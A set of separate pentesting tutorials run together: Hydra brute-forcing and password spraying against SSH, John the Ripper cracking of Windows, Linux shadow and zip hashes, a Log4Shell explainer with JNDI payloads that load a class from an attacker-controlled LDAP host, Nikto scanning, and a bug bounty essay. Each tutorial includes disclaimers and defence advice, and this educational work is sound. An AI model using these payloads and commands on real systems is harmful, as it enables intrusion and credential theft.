Note: All my articles are for educational purposes. If you use it illegally and get into trouble, I am not responsible. Always get permission from the owner before scanning / brute-forcing / exploiting a system.

How to Install Hydra

Hydra comes pre-installed with Kali Linux and Parrot OS. So if you are using one of them, you can start working with Hydra right away.

On Ubuntu, you can use the apt package manager to install it:

$ apt install hydra

In Mac, you can find Hydra under Homebrew:

$ brew install hydra

If you are using Windows, I would recommend using a virtual box and installing Linux. Personally, I don't recommend using Windows if you want to be a professional penetration tester.

How to Work with Hydra

Let’s look at how to work with Hydra. We will go through the common formats and options that Hydra provides for brute-forcing usernames and passwords. This includes single username/password attacks, password spraying, and dictionary attacks.

If you have installed Hydra, you can start with the help command like this:

$ hydra -h

This will give you the list of flags and options that you can use as a reference when working with Hydra.

Hydra help command

How to Perform a Single Username/Password Attack with Hydra

Let’s start with a simple attack. If we have the username and password that we expect a system to have, we can use Hydra to test it.

Here is the syntax:

$ hydra -l <username> -p <password> <server> <service>

Let’s assume we have a user named “molly” with a password of “butterfly” hosted at 10.10.137.76. Here is how we can use Hydra to test the credentials for SSH:

$ hydra -l molly -p butterfly 10.10.137.76 ssh

If it works, here is what the result will look like:

Hydra single username and password

How to Perform a Password Spraying Attack with Hydra

What if we know a password that someone is using, but we are not sure who it is? We can use a password spray attack to determine the username.

A password spray attack is where we use a single password and run it against a number of users. If someone is using the password, Hydra will find the match for us.

This attack assumes we know a list of users in the system. For this example, we will create a file called users.txt with the following users:

root
admin
user
molly
steve
richard

Now we are going to test who has the password “butterfly”. Here is how we can run a password spray attack using Hydra.

$ hydra -L users.txt -p butterfly 10.10.137.76 ssh

We will get a similar result to the following output if any of the users match with the given password. You should also notice that we have used the flag -L instead of -l. -l is for a single username and -L is for a list of usernames.

Hydra password spraying

How to Perform a Dictionary Attack with Hydra

Let’s look at how to perform a dictionary attack. In real-world scenarios, this is what we will be using Hydra regularly for.

A dictionary attack is where we have single/multiple usernames and we provide a password wordlist to Hydra. Hydra then tests all these passwords against every user in the list.

I am going to use the Rockyou wordlist for this example along with the users.txt file we created in the previous attack. If you are using Kali Linux, you can find the RockYou wordlist under /usr/share/wordlists/rockyou.txt.

Here is the command for a dictionary attack:

$ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 1010.137.76 ssh

If this attack is successful, we will see a similar result to the other two commands. Hydra will highlight the successful username/password combinations in green for all the matches.

How to Use the Verbosity and Debugging Flags in Hydra

Hydra can be awfully quiet when running large brute-force attacks. If we have to make sure Hydra is doing what it is expected to do, there are two flags we can use.

The verbosity (-v) flag will show us the login attempt for each username/password combination. This can be a bit much when there are a lot of combinations to go through, but if it is something you need, we can use the verbosity flag.

Here is a sample result. We can see that Hydra prints information about failed attempts in addition to the successful matches.

Hydra verbose mode

We can also use the debug (-d) flag to gather even more information. Here is the same result when using the debug flag:

Hydra debug mode

We can see that Hydra prints way more information than we need. We will only use debug mode rarely, but it is good to know that we have the option to watch every action Hydra takes when brute-forcing a service.

How to Save Your Results in Hydra

Let's look at how to save results. There is no point in spending hours cracking a password and losing it due to a system crash.

We can use the -o flag and specify a file name to save the result. Here is the syntax.

$ hydra -l <username> -p <password> <ip> <service> -o <file.txt>

More flags and formats

Hydra also offers a few additional flags and formats that will be useful for us as pen testers. Here are a few:

Service specification

Instead of specifying the service separately, we can use it with the IP address. For example, to brute force SSH, we can use the following command:

$ hydra -l <username> -p <password> ssh://<ip>

How to resume attacks

If Hydra’s session exits when an attack is in progress, we can resume the attack using the -R flag instead of starting from scratch.

$ hydra -R

How to use custom ports

Sometimes system administrators will change the default ports for service. For example, FTP can run in port 3000 instead of its default port 21. In those cases, we can specify ports using the -s flag.

$ hydra -l <username> -p <password> <ip> <service> -s <port>

How to attack multiple hosts

What if we have multiple hosts to attack? Easy, we can use the -M flag. The files.txt will contain a list of IP addresses or hosts instead of a single IP address.

$ hydra -l <username> -p <password> -M <host_file.txt> <service>

Targeted combinations

If we have a list of usernames and passwords, we can implement a dictionary attack. But if we have more information on which usernames are likely to have a set of passwords, we can prepare a custom list for Hydra.

For example, we can create a list of usernames and passwords separated by semicolons like the one below.

username1:password1
username2:password2
username3:password3

We can then use the -C flag to tell Hydra to run these specific combinations instead of looping through all the users and passwords. This drastically reduces the time taken to complete a brute-force attack.

Here is the syntax.

$ hydra -C <combinations.txt> <ip> <service>

We have seen how to work with Hydra in detail. Now you should be ready to perform real-world audits of network services like FTP, SSH, and Telnet.

But as a pen-tester, it is important to understand how to defend against these attacks. Remember, we are the good actors 😎.

How to Defend Against Hydra

The clear solution to help you defend against brute-force attacks is to set strong passwords. The stronger a password is, the harder it is to apply brute-force techniques.

We can also enforce password policies to change passwords every few weeks. Unfortunately, many individuals and businesses use the same passwords for years. This makes them easy targets for brute-force attacks.

Another way to prevent network-based brute-forcing is to limit authorization attempts. Brute-force attacks do not work if we lock accounts after a few failed login attempts. This is common in apps like Google and Facebook that lock your account if you fail a few login attempts.

Finally, tools like re-captcha can be a great way to prevent brute-force attacks. Automation tools like Hydra cannot solve captchas like a real human being.

Summary

Hydra is a fast and flexible network brute-forcing tool to attack services like SSH, and FTP. With a modular architecture and support for parallelization, Hydra can be extended to include new protocols and services easily.

Hydra is undoubtedly a powerful tool to have in your pen-testing toolkit.

Hope this article helped you to understand how Hydra works. If you have any questions, let me know in the comments.

You can connect with me or signup for the Stealth Security Newsletter. If you really enjoyed the article, you can buy me a coffee here.

John the Ripper (JtR) is a popular password-cracking tool. John supports many encryption technologies for Windows and Unix systems (Mac included).

One remarkable feature of John is that it can autodetect the encryption for common formats. This will save you a lot of time in researching the hash formats and finding the correct tool to crack them.

John is also a dictionary-based tool. This means that it works with a dictionary of common passwords to compare it with the hash in hand. Here is a common password list called rockyou.txt.

While you can use popular wordlists like RockYou, John also has its own set of wordlists with thousands of common passwords. This makes John very effective when cracking systems with weak passwords.

This is how John works by default:

• recognize the hash type of the current hash
• generate hashes on the fly for all the passwords in the dictionary
• stop when a generated hash matches the current hash.

This is not the only way John finds a password. You can also customize John based on your requirements. For example, you can specify the password format using the — — format flag.

In this article, we will first install John followed by a walkthrough of the different modes you can use. We will then use John to crack passwords for three different use cases — a Windows password, a Linux password, and a zip file password.

A quick disclaimer before we get started: do not use this tool for nefarious purposes. This is meant to be an educational tutorial to help you protect yourself and your clients or team from password attacks. Use this information responsibly and safely!

Let's get cracking.

How to Install John the Ripper

If you are using Kali Linux, John is pre-installed. You can use John by typing the following command:

$ john

For Ubuntu/Debian, you can get John from the apt source. Here is the command to install John in Ubuntu:

$ apt install John

In Mac, you can find John in Homebrew:

$ brew install john

For windows and other operating systems, you can find the binaries here.

Once you have installed John, try the help command to make sure your installation is working. The help command can also be used as a reference when working with John.

$ john -h

Here is the output of the help command:

John help command

How to Use John the Ripper

Now that we know what John is, let's look at the three modes it offers you. You will be using one of these three for most of your use cases.

• Single crack mode
• Wordlist mode
• Incremental mode

Let’s look at each one of them in detail.

What is Single Crack Mode?

In single-crack mode, John takes a string and generates variations of that string in order to generate a set of passwords.

For example, if our username is “stealth” and the password is “StEaLtH”, we can use the single mode of John to generate password variations (STEALTH, Stealth, STealth, and so on).

We use the “format” flag to specify the hash type and the “single” flag to let John know we want to use the single crack mode. We will also create a crack.txt file which will contain the username and the hash value of the password.

stealth:d776dd32d662b8efbdf853837269bd725203c579

Now we can use the following command to use John’s single crack mode:

$ john --single --format=raw-sha1 crack.txt

And here is the result. You can see that John has successfully found the correct password “StEaLtH”.

John single crack mode

That was fun, wasn't it? Now let’s look at the dictionary mode to crack more complicated passwords.

What is Dictionary Mode?

In dictionary mode, we will provide John with a list of passwords. John will generate hashes for these on the fly and compare them with our password hash.

For this example, we will use the RockYou wordlist. If you are using Kali, you can find it at /usr/share/wordlists/rockyou.txt. We will also have a crack.txt file with just the password hash.

edba955d0ea15fdef4f61726ef97e5af507430c0

Here is the command to run John in dictionary mode using the wordlist.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1 crack.txt

And John finds the password pretty quickly.

John wordlist mode

The weaker the password is, the quicker John can figure it out. This is why it is always recommended to have strong passwords.

What is Incremental Mode?

Incremental mode is the most powerful mode provided by John. It tries all possible character combinations as passwords.

This sounds great, but there is a problem. The cracking can go on for a long time if the password is too long or if it's a combination of alphanumeric characters and symbols.

You will rarely use this mode unless you have no other option. In typical cases, a combination of Social Engineering attacks and wordlist mode will help you crack most of the hashes.

If you would like to try the incremental mode, here is the syntax.

$ john -i:digits passwordfile.txt

Here, the -i flag tells John that we want to use the increment mode. The “digits” placeholder can be used to set the maximum number of digits in the password.

You can also add the “format” option to make it easier for John to start cracking.

Use Cases for John the Ripper

Now that you understand the different modes of John, let’s look at a few use cases.

We will use John to crack three types of hashes: a windows NTLM password, a Linux shadow password, and the password for a zip file.

How to Crack a Windows Password

Let's start with Windows. In Windows, the password hashes are stored in the SAM database. SAM uses the LM/NTLM hash format for passwords, so we will be using John to crack one.

Getting passwords from the SAM database is out of scope for this article, but let's assume you have acquired a password hash for a Windows user.

Here is the command to crack it:

$ john --format=lm crack.txt

The crack.txt will contain the password hash. If John is unable to crack the password using its default wordlist, you can use the RockYou wordlist using the — — wordlist flag.

How to Crack a Linux Password

Now, let's crack a Linux password. In Linux, there are two important files saved in the /etc folder: passwd and shadow.

• /etc/passwd -> stores information like username, user id, login shell, and so on.
• /etc/shadow -> contains password hash, password expiry, and so on.

In addition to the “john” command, John comes with a few other utilities. One of them is called “unshadow”.

The unshadow command combines the passwd and shadow files together into a single file. This can then be used by John to crack passwords.

Here is how we use the unshadow command:

$ unshadow /etc/passwd /etc/shadow > output.db

This command will combine the files together and create an output.db file. We can now crack the output.db file using John.

$ john output.db

John tries to find the password for all the users in the passwd file and generates the output with the list of cracked passwords. Again, you can use custom wordlists via the  — — wordlist flag.

How to Crack a Zip File Password

Finally, let's crack a zip file password. To do that, we first have to get the hash of the zip file’s password.

Like unshadow, John has another utility called zip2john. zip2john helps us to get the hash from zip files. If you are cracking a .rar file, you can use the rar2john utility.

Here is the syntax to get the password hash of a zip file:

$ zip2john file.zip > zip.hashes

The above command will get the hash from the zip file and store it in the zip.hashes file. You can then use John to crack the hash.

$john zip.hashes

John also has several other functionalities that will help you crack a variety of passwords. You can find the complete documentation for John here.

How to Defend Against Password Attacks

So far we have seen how to crack passwords with John the Ripper. But how do we defend against these types of brute-force attacks?

The simplest way to defend against password attacks is to set a strong password. The stronger the password is, the harder it is to crack.

The second step is to stop using the same passwords for multiple sites. If one site gets hacked, your password will be exposed to the internet. A hacker can then use the email/password combination to test your credentials across other sites. You can check if your password is on the internet here.

The final step would be to generate random passwords and use a password manager. There are a variety of options including the Chrome built-in Google password manager. If you use a strong password for each site you use, it becomes extremely hard to crack your password.

Summary

John is a popular and powerful password-cracking tool. It is often used by both penetration testers and black hat hackers for its versatility and ease of use.

From automated hash discovery to dictionary-based attacks, John is a great tool to have in your pentesting toolkit.

Hope this article helped you to understand John the Ripper in detail. You can connect with me here or visit my blog here.

The vulnerability is called Log4Shell (CVE-2021–44228). It allows an attacker to inject a crafted payload anywhere in the requests that get parsed and executed by the vulnerable application.

There are a lot of resources out there on Twitter, Reddit, and YouTube about this epic vulnerability. I wanted to create this post to summarize the main things I learned, ways to test it as pentester, and the mitigation controls that help prevent the exploitation of this vulnerability.

Log4Shell Vulnerability Overview

The Log4Shell vulnerability is a Java JNDI injection. It's not a new vulnerability, though – there was a Blackhat talk in 2016 about it by Alvaro Munoz & Oleksandr Mirosh.

Older versions of the library 1. x are not vulnerable to code execution. The logs are encapsulated in string format as they should be, and they don’t get parsed.

Interestingly, the vulnerability was introduced with the new JNDI lookup feature in version 2.0–2.15.0 that allows any inputs to be parsed and interpreted by the application no matter where it originates.

These include web applications, databases, email servers, routers, endpoint agents, mobile apps, IoT devices — you name it (if it runs Java, it could be vulnerable).

Below is an excellent diagram by Rob Fuller (@mubix) showing this vulnerability’s impact.

It was scary when I started looking around the room for all the devices that could be vulnerable. I tested my phone, fitness watch, and washing machine (because why not!!) through its mobile app.

I got DNS callbacks from all of them. 😱

JNDI, or Java Naming Directory Interface, is an API that allows the Java application to perform searches on objects based on their names. It supports several directory services like LDAP, RMI, DNS, and CORBA.

Most of the payloads I have seen use LDAP, DNS, and RMI protocols to perform the DNS requests.

For the RCE pocs, the attacker needs to set up an LDAP server to allow the vulnerable application to connect to it. So, the targeted applications must allow LDAP outgoing connections to the attacker-controlled server to load the malicious object.

DNS requests are insufficient to confirm if the application is vulnerable to remote code execution. However, it is still impactful, as these requests can exfiltrate sensitive data that helps compromise the targets.

Impact of the Log4Shell Vulnerability

The main impacts of this vulnerability are:

• Data Exfiltration through DNS
• Remote Code Execution with malicious Java objects and Rogue LDAP servers

Patched Version

The Log4J version 2.17 is patched.2.15.0 and 2.16.0 patches were bypassed while writing this article.

How Attackers Exploit Log4Shell 💻

The attacker sets up a rogue LDAP server, creates an exploit payload class, and stores it as an LDAP object such as “Log4JPayload.class” to get referenced later.

Then, the attacker inserts the crafted JNDI injection to any requests that are likely to be logged, such as the request paths, HTTP headers, Filenames, Document/Images EXIF and so on (see below injection points).

Payload Examples

${jndi:ldap://attackermachine:portnumber/Log4JPayload.class} 

${jndi:rmi://attackermachine:portnumber/Log4JPayload.class}

When the malicious requests get logged, the Log4J library will parse the injected inputs and reach out to the rogue LDAP server to load the malicious class.

The application then executes the referenced class, and the attacker gains remote code execution on the vulnerable application.

InjectionPoints

One main injection point is in request paths like in the example below: GET /${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1

Another is in HTTP Headers. An attacker can inject the payloads in any HTTP Headers. All of them are valid injection points when conducting an application testing. Musa Şana compiled a more extensive list.

Injection Points

It is essential to remember that the exploit doesn’t result in an immediate callback all the time. It sometimes takes minutes to hours to get something back.

I waited around 25 minutes before getting the first callbacks from my watch when I tested it. So for black-box testing, give the application sufficient time before deciding whether it's vulnerable or not. Be patient ⏰!

Log4Shell Payloads

There are so many payloads that have been posted on Twitter in the last couple of days that are worth going over. Some payloads use obfuscation to bypass the popular WAFs like Akamai, Cloudflare, and AWS WAF.

Below is a screenshot of the payloads collected from Twitter.

I compiled the interesting ones on Carbon snippet.

Collected Payloads from Twitter - [https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk](https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk" rel="noopener ugc nofollow)

Data Exfiltration Examples

Suppose an application is not vulnerable to remote code execution or blocks outgoing LDAP connections. In that case, an attacker or pentester can still leverage this vulnerability to extract sensitive information such as secret keys, tokens, and configuration files of the application itself and the hosted infrastructure.

An attacker can then leverage the information to choose the appropriate attack vector to compromise the targeted application.

Carbon Sinppet - [https://carbon.now.sh/kToUK7dCk0KJkri0qvXf](https://carbon.now.sh/kToUK7dCk0KJkri0qvXf" rel="noopener ugc nofollow)

Auotmated Checks

Automated scans help during a black-box pentest to perform cursory checks on many hosts. Below is the list of major known scanning tools that can help you achieve that:

• Burp Extensions: Log4Shell Scanner
• Log4J Scanner by mazen160
• Nuclei Template for Log4J — id: CVE-2021–44228
• Nmap NSE Script — nse-log4shell

DNS Log Monitor Services

To quickly test the application, we use the below services to create a DNS token for our payload and see if we get the callbacks.

• Canary Tokens
• DNSlog.cn
• Interactsh
• Burp Collaborator

Vulnerable Apps to Test:🔥

There are a number of great, ready-to-spin-up vulnerable applications on GitHub, PentesterLabs, and TryHackMe for testing this vulnerability.

My favorite is the Log4Shell app (it requires some setup and can show you behind the scenes of setting up a rogue LDAP server and connecting to it). However, if you want to test this quickly, TryHackMe Solar room is the way to go.

• Log4jPwn — https://github.com/leonjza/log4jpwn
• Log4Shell — https://github.com/kozmer/log4j-shell-poc
• PentestLabs Challenges : Log4J RCE , Log4J RCE II
• TryHackMe Solar Room by John Hammond — https://tryhackme.com/room/solar [free room]

Log4Shell Mitigations

In order to protect yourself from this vulnerability, here are some steps you can take:

• Upgrade to the latest version of Log4J — v2.17.0.

• Disable lookups within messages log4j2.formatMsgNoLookups=true

• Remove the JndiLookup class from the classpath zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

• Apply firewall rules to limit communications to only a few allowable hosts, not with everyone. Mick Douglas explains it well in his Tweet about the IMMA model “Isolate,” “Minimize,” “Monitor,” and “Active Defense”!

That’s all for today. This was a hell of a week. I learned many new things about Java injections and exploitation.

Thanks for reading!!

Learn More About Log4JShell

• Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns
• What do you need to know about the log4j (Log4Shell) vulnerability? by SANS Institute
• Digging deeper into Log4Shell - 0Day RCE exploit found in Log4j
• Apache log4j Vulnerability CVE-2021-44228: Analysis and Mitigations
• log4shell - Quick Guide
• Log4Shell Zero-day Exploit Walkthrough
• CVE-2021-44228 - Log4j - MINECRAFT VULNERABLE! (and SO MUCH MORE)
• A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land
• Log4Shell : JNDI Injection via Attackable Log4J

Unfortunately, websites are also one of the most unsecured gateways through which an attacker can exploit your company.

Since most websites are not backed by strong technical teams, it is important to understand website and web application security to protect your organization.

Introducing Nikto

Nikto is an open source web server and web application scanner. Nikto can perform comprehensive tests against web servers for multiple security threats, including over 6700 potentially dangerous files/programs. Nikto can also perform checks for outdated web servers software, and version-specific problems.

Nikto was written and maintained by Sullo, CIRT, Inc. It is written in Perl and was originally released in late 2001.

It is currently maintained by David Lodge (you can find his blog here), though other contributors have been involved in the project as well.

Here are some of the cool things that Nikto can do:

• Find SQL injection, XSS, and other common vulnerabilities

• Identify installed software (via headers, favicons, and files)

• Guess subdomains

• Includes support for SSL (HTTPS) websites

• Saves reports in plain text, XML, HTML or CSV

• “Fish” for content on web servers

• Report unusual headers

• Check for server configuration items like multiple index files, HTTP server options, and so on

• Has full HTTP proxy support

• Guess credentials for authorization (including many default username/password combinations)

• Is configured with a template engine to easily customize reports

• Exports to Metasploit

How to Install Nikto

Since Nikto is a Perl-based program, it can run on most operating systems with the necessary Perl interpreter installed.

If you’re using Kali Linux, Nikto comes preinstalled and will be present in the “Vulnerability Analysis” category.

If you don’t have Nikto on Kali (for some reason), you can get Nikto from GitHub or just use the “apt install nikto” command.

For installing Nikto on Windows, you must first install the Perl interpreter. It can be downloaded from here: [https://www.activestate.com/activeperl](https://www.activestate.com/products/perl/)\

For MacOS, you can use homebrew.

Complete installation instructions for all platforms can be found here.

How to Scan with Nikto

Now that you know what Nikto is and how to install it, let's go ahead and run some scans.

Warning:

Before we get into scanning, I want to emphasize that I am not responsible for any damage you do trying to attack systems. Doing so is illegal.

You should have written permission before you ever try to scan a system or network.

Since Nikto is a command-line tool, you can use the help command to get a list of options:

> nikto -Help

How to Scan a Domain

To perform a simple domain scan, use the -h (host) flag:

> nikto -h scanme.nmap.org

Nikto will perform a basic scan on port 80 for the given domain and give you a complete report based on the scans performed:

Nikto Domain Scan

How to Scan a Domain with SSL Enabled

For domains with HTTPS enabled, you have to specify the -ssl flag to scan port 443:

> nikto -h https://nmap.org -ssl

Nikto SSL Enabled Scan

How to Scan an IP Address

Sometimes you just want to scan an IP address where a web server is hosted.

To do that, use the same -h flag you used for domain scanning:

> nikto -h 45.33.32.156

Nikto IP Address Scan

How to Scan Multiple IP Addresses From a Text File

To scan multiple IP addresses or domains, just put them in a text file separated by newlines. Nikto will know that the scan has to be performed on each domain / IP address.

Let's assume we have a file named domains.txt with two domain names:

• scanme.nmap.org

• nmap.org.

To scan both of them with Nikto, run the following command:

> nikto -h domains.txt

Nikto will start scanning the domains one after the other:

Nikto Multi Domain Scan

How to Export Scan Results

Nikto scans take a while to complete. When you are a professional pen-tester, you don't want to repeat scans very often unless there are major changes to the web application.

To export a scan result, use the -o flag followed by the file name:

> nikto -h scanme.nmap.org -o scan.txt

You can also use the -Format flag to specify an output format. You can choose from CSV, HTML, nbe (Nessus format), SQL, txt, and XML:

> nikto -h scanme.nmap.org -o scan.csv -Format csv

Nikto Output formats

How to Pair Nikto with Metasploit

Metasploit is a powerful framework that lets you do everything from scanning to exploiting systems. Professional pen-testers use Metasploit almost every day. I wrote an article on Metasploit recently which you can find here.

Nikto offers a way to export scans to Metasploit so that it gets easier when you try to exploit systems based on the scan results from Nikto.

To do that, append the -Format msf+ flag to the end of a scan:

$ nikto -h <domain/ip> -Format msf+

Nikto Alternatives

It is always good to have a backup tool in your pen-testing arsenal. Some of the best Nikto alternatives are:

• Arachni: An open source, modular, high-performance Ruby framework with a focus on evaluating the security of web applications.

• OWASP Zed Attack Proxy (ZAP): An integrated pen-testing tool that provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

• Skipfish: A fully automated, active web application security reconnaissance tool. Written in C to be fast, highly optimized HTTP handling, and minimal CPU footprint — easily achieving 2000 requests per second with responsive targets.

TLDR;

Nikto is an open source scanner that helps you find potential security threats in your websites and web applications.

It fully automates vulnerability scanning and can find issues like service misconfigurations, insecure files/programs, and thousands of other security issues.

Great alternatives include Arachini, OWASP ZAP, and Skipfish.

References

• https://cirt.net/Nikto2

• https://github.com/sullo/nikto

• https://linuxhint.com/scanning_vulnerabilities_nikto/

Loved this article? Join my Newsletter and get a summary of my articles and videos every Monday morning. You can also visit my website here.

Bug bounty programs allow independent security researchers to report bugs to an organization and receive rewards or compensation. These bugs are usually security exploits and vulnerabilities, though they can also include process issues, hardware flaws, and so on.

The reports are typically made through a program run by an independent third party (like Bugcrowd or HackerOne). The organization will set up (and run) a program curated to the organization's needs.

Programs may be private (invite-only) where reports are kept confidential to the organization or public (where anyone can sign up and join). They can take place over a set time frame or with no end date (though the second option is more common).

Who uses bug bounty programs?

Many major organizations use bug bounties as a part of their security program, including AOL, Android, Apple, Digital Ocean, and Goldman Sachs. You can view a list of all the programs offered by major bug bounty providers, Bugcrowd and HackerOne, at these links.

Why do companies use bug bounty programs?

Bug bounty programs give companies the ability to harness a large group of hackers in order to find bugs in their code.

This gives them access to a larger number of hackers or testers than they would be able to access on a one-on-one basis. It can also increase the chances that bugs are found and reported to them before malicious hackers can exploit them.

It can also be a good public relations choice for a firm. As bug bounties have become more common, having a bug bounty program can signal to the public and even regulators that an organization has a mature security program.

This trend is likely to continue, as some have started to see bug bounty programs as an industry standard which all organizations should invest in.

Why do researchers and hackers participate in bug bounty programs?

Finding and reporting bugs via a bug bounty program can result in both cash bonuses and recognition. In some cases, it can be a great way to show real-world experience when you're looking for a job, or can even help introduce you to folks on the security team inside an organization.

This can be full time income for some folks, income to supplement a job, or a way to show off your skills and get a full time job.

It can also be fun! It's a great (legal) chance to test out your skills against massive corporations and government agencies.

What are the disadvantages of a bug bounty program for independent researchers and hackers?

A lot of hackers participate in these types of programs, and it can be difficult to make a significant amount of money on the platform.

In order to claim the reward, the hacker needs to be the first person to submit the bug to the program. That means that in practice, you might spend weeks looking for a bug to exploit, only to be the second person to report it and make no money.

Roughly 97% of participants on major bug bounty platforms have never sold a bug.

In fact, a 2019 report from HackerOne confirmed that out of more than 300,000 registered users, only around 2.5% received a bounty in their time on the platform.

Essentially, most hackers aren't making much money on these platforms, and very few are making enough to replace a full time salary (plus they don't have benefits like vacation days, health insurance, and retirement planning).

What are the disadvantages of bug bounty programs for organizations?

These programs are only beneficial if the program results in the organization finding problems that they weren't able to find themselves (and if they can fix those problems)!

If the organization isn't mature enough to be able to quickly remediate identified issues, a bug bounty program isn't the right choice for their organization.

Also, any bug bounty program is likely to attract a large number of submissions, many of which may not be high-quality submissions. An organization needs to be prepared to deal with the increased volume of alerts, and the possibility of a low signal to noise ratio (essentially that it's likely that they'll receive quite a few unhelpful reports for every helpful report).

Additionally, if the program doesn't attract enough participants (or participants with the wrong skill set, and thus participants aren't able to identify any bugs), the program isn't helpful for the organization.

The vast majority of bug bounty participants concentrate on website vulnerabilities (72%, according to HackerOn), while only a few (3.5%) opt to look for operating system vulnerabilities.

This is likely due to the fact that hacking operating systems (like network hardware and memory) requires a significant amount of highly specialized expertise. This means that companies may see significant return on investment for bug bounties on websites, and not for other applications, particularly those which require specialized expertise.

This also means that organizations which need to examine an application or website within a specific time frame might not want to rely upon a bug bounty as there's no guarantee of when or if they receive reports.

Finally, it can be potentially risky to allow independent researchers to attempt to penetrate your network. This may result in public disclosure of bugs, causing reputation damage in the public eye (which may result in people not wanting to purchase the organizations' product or service), or disclosure of bugs to more malicious third parties, who could use this information to target the organization.

Is a bug bounty program right for every organization?

No. An organization needs to reach a certain level of maturity in their security program before a bug bounty program can be effective.

The biggest question an organization needs to ask is whether or not they will be able to fix any identified vulnerabilities. If they can't do so within a reasonable amount of time, a bug bounty program probably isn't a good idea.

If the organization is struggling to implement basic patch management or they have a host of other identified problems that they are struggling to fix, then the additional volume of reports which a bug bounty program will generate is not a good idea.

A bug bounty program becomes a good idea when there is not a backlog of identified security issues, remediation processes are in place for addressing identified issues, and the team is looking for additional reports.

Additionally, as I mentioned earlier, while websites are usually good targets for bug bounty programs, a highly specialized target, such as network hardware or even operating systems, may not attract enough participants to be worthwhile.

Finally, the amount of money or prestige afforded by successfully submitting a report for different organizations may impact the number of participants and the number of highly skilled participants (that is, reporting a bug for Apple or Google may carry more prestige than a bug for a company which isn't as well known).

What are the alternatives to bug bounty programs?

First, organizations should have a vulnerability disclosure program. Essentially, this provides a secure channel for researchers to contact the organization about identified security vulnerabilities, even if they do not pay the researcher.

Having an identified point of contact can be helpful as it can immediately filter requests to the security team, rather than a communications team which may not know how seriously to treat the report. It can also encourage researchers to report vulnerabilities when found.

Typically this also includes a framework for how to handle intake, mitigation, and any remediation measures.

Additionally, organizations may opt to hire a penetration testing firm to perform a time-limited test of specific systems or applications. The pen testers will have a curated, directed target and will produce a report at the end of the test.

This will ensure that the company gets a team of highly skilled, trusted hackers at a known price. They can also request any specialized expertise which they need, as well as ensuring the test is private, rather than publicly accessible.

The company may even have the testers sign non-disclosure agreements and test highly sensitive internal applications.

However, this is typically a single event, rather than an ongoing bounty. Also, penetration testers are paid whether or not they find any vulnerabilities (whereas in a bug bounty the researchers are only paid if they successfully report a bug).

Which is better – bug bounty programs or hired penetration testers?

Often these two methods are not directly comparable - each has strengths and weaknesses.

If the organization would benefit more from having more people (of varying skill levels) looking at a problem, the application isn't particularly sensitive, and it doesn't require specific expertise, a bug bounty is probably more appropriate.

If the application is internal/sensitive, the problem requires specific expertise, or the organization needs a response within a specific time frame, a penetration test is more appropriate.

Interested in learning more about bug bounties?

• HackerOne has an introductory course to help folks get into bug bounties.
• Here's an interview with Katie Moussouris, one of the biggest names in Bug Bounties.